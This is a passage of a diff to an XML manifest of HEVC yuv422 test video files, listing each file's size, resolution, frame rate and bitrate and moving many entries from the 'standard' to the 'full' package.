   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2slices.mp4">
     <value>mime=video/hevc,size=858499,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=5357016,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2slices_perrow.mp4">
-    <value>mime=video/hevc,size=22705,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=133304,package=standard</value>
+    <value>mime=video/hevc,size=22705,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=133304,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2tilecols.mp4">
-    <value>mime=video/hevc,size=3429,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=12824,package=standard</value>
+    <value>mime=video/hevc,size=3429,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=12824,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2tilerows_2slices.mp4">
-    <value>mime=video/hevc,size=3808,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=15192,package=standard</value>
+    <value>mime=video/hevc,size=3808,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=15192,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2tilerows.mp4">
-    <value>mime=video/hevc,size=3449,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=12944,package=standard</value>
+    <value>mime=video/hevc,size=3449,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=12944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2x2tiles_16ctbs_perdpslice_24ctbs_perslice_ctb32.mp4">
     <value>mime=video/hevc,size=3807776,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=23790000,package=full</value>
@@ -16461,40 +16461,40 @@
     <value>mime=video/hevc,size=3802658,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=23758000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2x2tiles_512bytes_perslice.mp4">
-    <value>mime=video/hevc,size=5300,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=24512,package=standard</value>
+    <value>mime=video/hevc,size=5300,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=24512,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2x2tiles_5ctbs_perslice.mp4">
-    <value>mime=video/hevc,size=57342,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=349776,package=standard</value>
+    <value>mime=video/hevc,size=57342,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=349776,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2x2tiles.mp4">
-    <value>mime=video/hevc,size=4146,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=17304,package=standard</value>
+    <value>mime=video/hevc,size=4146,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=17304,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2x2tiles_nolpfbndry.mp4">
-    <value>mime=video/hevc,size=4146,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=17304,package=standard</value>
+    <value>mime=video/hevc,size=4146,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=17304,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_4ctbs_perdpslice_1024bytes_slice.mp4">
-    <value>mime=video/hevc,size=71391,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=437592,package=standard</value>
+    <value>mime=video/hevc,size=71391,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=437592,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_4ctbs_perdpslice_16perslice_nolpfbndry.mp4">
     <value>mime=video/hevc,size=2515232,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=15711600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_4ctbs_perslice_nolpfbndry.mp4">
-    <value>mime=video/hevc,size=70628,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=432824,package=standard</value>
+    <value>mime=video/hevc,size=70628,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=432824,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_5ctbs_perdpslice_wpp_sps1_pps7.mp4">
     <value>mime=video/hevc,size=2494972,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=15584968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_a4slices.mp4">
-    <value>mime=video/hevc,size=3098,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=10760,package=standard</value>
+    <value>mime=video/hevc,size=3098,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=10760,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_gt1_slices_perrow.mp4">
-    <value>mime=video/hevc,size=13955,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=78616,package=standard</value>
+    <value>mime=video/hevc,size=13955,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=78616,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_lt1_dpslices_perrow_lt1_slices_per2row.mp4">
-    <value>mime=video/hevc,size=11055,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=60488,package=standard</value>
+    <value>mime=video/hevc,size=11055,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=60488,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_lt1_dpslices_perrow_lt1_slices_perrow.mp4">
-    <value>mime=video/hevc,size=17159,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=98640,package=standard</value>
+    <value>mime=video/hevc,size=17159,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=98640,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_lt1_dpslices_perrow_lt1_slices_perrow_wpp.mp4">
     <value>mime=video/hevc,size=3286539,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=20532264,package=full</value>
@@ -16503,34 +16503,34 @@
     <value>mime=video/hevc,size=3464035,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=21641608,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_lt1_slices_perrow.mp4">
-    <value>mime=video/hevc,size=13306,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=74560,package=standard</value>
+    <value>mime=video/hevc,size=13306,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=74560,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_lt1_slices_perrow_nolpfbndry.mp4">
-    <value>mime=video/hevc,size=12941,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=72280,package=standard</value>
+    <value>mime=video/hevc,size=12941,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=72280,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_max128slices_nolpfbndry.mp4">
-    <value>mime=video/hevc,size=70628,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=432824,package=standard</value>
+    <value>mime=video/hevc,size=70628,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=432824,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_max64slices_nolpfbndry.mp4">
-    <value>mime=video/hevc,size=38602,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=232656,package=standard</value>
+    <value>mime=video/hevc,size=38602,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=232656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_nonuniform_4x2tile_rows_cols_nolpfbndry.mp4">
     <value>mime=video/hevc,size=641602,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=4001384,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_slicerows_dpslice.mp4">
-    <value>mime=video/hevc,size=10720,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=58400,package=standard</value>
+    <value>mime=video/hevc,size=10720,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=58400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_slicerows.mp4">
     <value>mime=video/hevc,size=2165140,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=13523520,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_slicerows_nolpfbndry.mp4">
-    <value>mime=video/hevc,size=12903,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=72040,package=standard</value>
+    <value>mime=video/hevc,size=12903,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=72040,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_1024byte_slices.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=15297880,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=15297880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_128byte_depslices_16CTBs_slice.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=134932800,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=134932800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_16ctbs_perdpslice_24ctbs_perslice_wpp.mp4">
     <value>mime=video/hevc,size=21588598,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=134920136,package=full</value>
@@ -16551,16 +16551,16 @@
     <value>mime=video/hevc,size=2832418,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=17694000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_2048byte_slices.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=15054712,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=15054712,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_256byte_dpslices_1024bytes_slice.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=18097320,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=18097320,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_256byte_dpslices_1024bytes_slice_wpp.mp4">
     <value>mime=video/hevc,size=2903546,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=18138560,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_256byte_slices.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=18293912,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=18293912,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_2slices_perrow.mp4">
     <value>mime=video/hevc,size=21531959,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=134566136,package=full</value>
@@ -16593,19 +16593,19 @@
     <value>mime=video/hevc,size=2833637,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=17701624,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_4ctbs_perdpslice_1024bytes_slice.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=136953616,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=136953616,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_4ctbs_perdpslice_16perslice_nolpfbndry.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=135738488,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=135738488,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_4ctbs_perslice_nolpfbndry.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=136611416,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=136611416,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_5ctbs_perdpslice_wpp_sps1_pps7.mp4">
     <value>mime=video/hevc,size=21537016,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=134597736,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_a4slices.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=17196768,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=17196768,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_gt1_slices_perrow.mp4">
     <value>mime=video/hevc,size=9822208,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=128000240,package=full</value>
@@ -16614,7 +16614,7 @@
     <value>mime=video/hevc,size=19472645,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=121695424,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_lt1_dpslices_perrow_lt1_slices_perrow.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=122096336,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=122096336,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_lt1_dpslices_perrow_lt1_slices_perrow_wpp.mp4">
     <value>mime=video/hevc,size=19545559,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=122151136,package=full</value>
@@ -16623,22 +16623,22 @@
     <value>mime=video/hevc,size=19547002,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=122160152,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_lt1_slices_perrow.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=122084672,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=122084672,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_lt1_slices_perrow_nolpfbndry.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=122079456,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=122079456,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_max128slices_nolpfbndry.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=134924672,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=134924672,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_max64slices_nolpfbndry.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=134545648,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=134545648,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_nonuniform_4x2tile_rows_cols_nolpfbndry.mp4">
     <value>mime=video/hevc,size=2868397,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=17918848,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_slicerows_dpslice.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=121713112,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=121713112,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_slicerows.mp4">
     <value>mime=video/hevc,size=19533529,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=122075952,package=full</value>
@@ -16647,19 +16647,19 @@
     <value>mime=video/hevc,size=19537996,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=122103872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_854x480p50f32/crowd_854x480p50f32_1024byte_slices.mp4">
-    <value>mime=video/hevc,size=2280,width=854,height=480,frame-rate=25,profile=,level=,bitrate=5656,package=standard</value>
+    <value>mime=video/hevc,size=2280,width=854,height=480,frame-rate=25,profile=,level=,bitrate=5656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_854x480p50f32/crowd_854x480p50f32_128byte_depslices_16CTBs_slice.mp4">
     <value>mime=video/hevc,size=657997,width=854,height=480,frame-rate=25,profile=,level=,bitrate=4103880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_854x480p50f32/crowd_854x480p50f32_2048byte_slices.mp4">
-    <value>mime=video/hevc,size=2280,width=854,height=480,frame-rate=25,profile=,level=,bitrate=5656,package=standard</value>
+    <value>mime=video/hevc,size=2280,width=854,height=480,frame-rate=25,profile=,level=,bitrate=5656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_854x480p50f32/crowd_854x480p50f32_256byte_dpslices_1024bytes_slice.mp4">
-    <value>mime=video/hevc,size=273456,width=854,height=480,frame-rate=25,profile=,level=,bitrate=1700504,package=standard</value>
+    <value>mime=video/hevc,size=273456,width=854,height=480,frame-rate=25,profile=,level=,bitrate=1700504,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_854x480p50f32/crowd_854x480p50f32_256byte_slices.mp4">
-    <value>mime=video/hevc,size=2280,width=854,height=480,frame-rate=25,profile=,level=,bitrate=5656,package=standard</value>
+    <value>mime=video/hevc,size=2280,width=854,height=480,frame-rate=25,profile=,level=,bitrate=5656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_854x480p50f32/crowd_854x480p50f32_4ctbs_perdpslice_1024bytes_slice.mp4">
     <value>mime=video/hevc,size=1051634,width=854,height=480,frame-rate=25,profile=,level=,bitrate=6564112,package=full</value>
@@ -16671,10 +16671,10 @@
     <value>mime=video/hevc,size=840607,width=854,height=480,frame-rate=25,profile=,level=,bitrate=5245200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_854x480p50f32/crowd_854x480p50f32_a4slices.mp4">
-    <value>mime=video/hevc,size=2280,width=854,height=480,frame-rate=25,profile=,level=,bitrate=5656,package=standard</value>
+    <value>mime=video/hevc,size=2280,width=854,height=480,frame-rate=25,profile=,level=,bitrate=5656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_854x480p50f32/crowd_854x480p50f32_gt1_slices_perrow.mp4">
-    <value>mime=video/hevc,size=7258,width=854,height=480,frame-rate=25,profile=,level=,bitrate=36768,package=standard</value>
+    <value>mime=video/hevc,size=7258,width=854,height=480,frame-rate=25,profile=,level=,bitrate=36768,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_854x480p50f32/crowd_854x480p50f32_lt1_slices_perrow.mp4">
     <value>mime=video/hevc,size=522598,width=854,height=480,frame-rate=25,profile=,level=,bitrate=3257640,package=full</value>
@@ -16683,10 +16683,10 @@
     <value>mime=video/hevc,size=520742,width=854,height=480,frame-rate=25,profile=,level=,bitrate=3246040,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_854x480p50f32/crowd_854x480p50f32_max128slices_nolpfbndry.mp4">
-    <value>mime=video/hevc,size=56778,width=854,height=480,frame-rate=25,profile=,level=,bitrate=346264,package=standard</value>
+    <value>mime=video/hevc,size=56778,width=854,height=480,frame-rate=25,profile=,level=,bitrate=346264,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_854x480p50f32/crowd_854x480p50f32_max64slices_nolpfbndry.mp4">
-    <value>mime=video/hevc,size=29713,width=854,height=480,frame-rate=25,profile=,level=,bitrate=177112,package=standard</value>
+    <value>mime=video/hevc,size=29713,width=854,height=480,frame-rate=25,profile=,level=,bitrate=177112,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_854x480p50f32/crowd_854x480p50f32_slicerows_dpslice.mp4">
     <value>mime=video/hevc,size=699035,width=854,height=480,frame-rate=25,profile=,level=,bitrate=4360368,package=full</value>
@@ -16782,37 +16782,37 @@
     <value>mime=video/hevc,size=1594050,width=854,height=480,frame-rate=60,profile=,level=,bitrate=2543040,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/confwindow/crowd_1280x720p50f32/crowd_1280x720p50f32_cnfwndw_h32v32.mp4">
-    <value>mime=video/hevc,size=2499,width=1280,height=720,frame-rate=25,profile=,level=,bitrate=7008,package=standard</value>
+    <value>mime=video/hevc,size=2499,width=1280,height=720,frame-rate=25,profile=,level=,bitrate=7008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/confwindow/crowd_1280x720p50f32/crowd_1280x720p50f32_cnfwndw_h64v64.mp4">
-    <value>mime=video/hevc,size=331058,width=1280,height=720,frame-rate=25,profile=,level=,bitrate=2060496,package=standard</value>
+    <value>mime=video/hevc,size=331058,width=1280,height=720,frame-rate=25,profile=,level=,bitrate=2060496,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/confwindow/crowd_1280x720p50f32/crowd_1280x720p50f32_cnfwndw_h72v56.mp4">
-    <value>mime=video/hevc,size=2630,width=1280,height=720,frame-rate=25,profile=,level=,bitrate=7824,package=standard</value>
+    <value>mime=video/hevc,size=2630,width=1280,height=720,frame-rate=25,profile=,level=,bitrate=7824,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/confwindow/crowd_1280x720p50f32/crowd_1280x720p50f32_cnfwndw_l0r2t0b2.mp4">
-    <value>mime=video/hevc,size=2431,width=1278,height=718,frame-rate=25,profile=,level=,bitrate=6592,package=standard</value>
+    <value>mime=video/hevc,size=2431,width=1278,height=718,frame-rate=25,profile=,level=,bitrate=6592,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/confwindow/crowd_1280x720p50f32/crowd_1280x720p50f32_cnfwndw_l16r16t16b16.mp4">
-    <value>mime=video/hevc,size=2435,width=1248,height=688,frame-rate=25,profile=,level=,bitrate=6592,package=standard</value>
+    <value>mime=video/hevc,size=2435,width=1248,height=688,frame-rate=25,profile=,level=,bitrate=6592,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/confwindow/crowd_1280x720p50f32/crowd_1280x720p50f32_cnfwndw_l2r0t0b0.mp4">
-    <value>mime=video/hevc,size=2430,width=1278,height=720,frame-rate=25,profile=,level=,bitrate=6592,package=standard</value>
+    <value>mime=video/hevc,size=2430,width=1278,height=720,frame-rate=25,profile=,level=,bitrate=6592,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/confwindow/crowd_1280x720p50f32/crowd_1280x720p50f32_cnfwndw_l2r0t2b0.mp4">
-    <value>mime=video/hevc,size=2431,width=1278,height=718,frame-rate=25,profile=,level=,bitrate=6592,package=standard</value>
+    <value>mime=video/hevc,size=2431,width=1278,height=718,frame-rate=25,profile=,level=,bitrate=6592,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/confwindow/crowd_1280x720p50f32/crowd_1280x720p50f32_cnfwndw_l4r4t8b8.mp4">
-    <value>mime=video/hevc,size=2432,width=1272,height=704,frame-rate=25,profile=,level=,bitrate=6592,package=standard</value>
+    <value>mime=video/hevc,size=2432,width=1272,height=704,frame-rate=25,profile=,level=,bitrate=6592,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/confwindow/crowd_1280x720p50f32/crowd_1280x720p50f32_cnfwndw_l68r68t60b60.mp4">
-    <value>mime=video/hevc,size=2436,width=1144,height=600,frame-rate=25,profile=,level=,bitrate=6592,package=standard</value>
+    <value>mime=video/hevc,size=2436,width=1144,height=600,frame-rate=25,profile=,level=,bitrate=6592,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/confwindow/crowd_1920x1080p50f32/crowd_1920x1080p50f32_cnfwndw_h16v16.mp4">
-    <value>mime=video/hevc,size=2988,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=10064,package=standard</value>
+    <value>mime=video/hevc,size=2988,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=10064,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/confwindow/crowd_1920x1080p50f32/crowd_1920x1080p50f32_cnfwndw_h16v8.mp4">
-    <value>mime=video/hevc,size=2768,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=8688,package=standard</value>
+    <value>mime=video/hevc,size=2768,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=8688,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/confwindow/crowd_3840x2160p50f32/crowd_3840x2160p50f32_cnfwndw_h16v16.mp4">
     <value>mime=video/hevc,size=1281866,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=8003048,package=full</value>
@@ -16839,184 +16839,184 @@
     <value>mime=video/hevc,size=1281974,width=3838,height=2158,frame-rate=25,profile=,level=,bitrate=8003736,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f10_gop8.mp4">
-    <value>mime=video/hevc,size=176001,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6999480,package=standard</value>
+    <value>mime=video/hevc,size=176001,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6999480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f11_gop8.mp4">
-    <value>mime=video/hevc,size=181853,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6575520,package=standard</value>
+    <value>mime=video/hevc,size=181853,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6575520,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f12_gop8.mp4">
-    <value>mime=video/hevc,size=186866,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6194264,package=standard</value>
+    <value>mime=video/hevc,size=186866,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6194264,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f13_gop8.mp4">
-    <value>mime=video/hevc,size=193278,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5914704,package=standard</value>
+    <value>mime=video/hevc,size=193278,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5914704,package=full</value>
   </entry>
